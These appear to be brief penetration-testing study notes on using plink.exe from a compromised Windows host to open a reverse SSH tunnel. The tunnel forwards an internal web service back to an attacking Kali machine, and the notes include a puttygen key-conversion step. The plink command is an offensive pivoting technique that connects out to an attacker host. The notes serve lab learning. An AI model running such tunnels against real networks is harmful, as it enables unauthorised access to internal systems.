Plink.exe

Overview

Pink.exe explained here

Reverse SSH Connection with plink.exe (STILL A NO NO)

For example, if we have access to 172.16.0.5 and would like to forward a connection to 172.16.0.10:80 back to port 8000 our own attacking machine (172.16.0.20), we could use this command

cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

You will have to convert the ssh-keygen files using puttygen

puttygen KEYFILE -o OUTPUT_KEY.ppk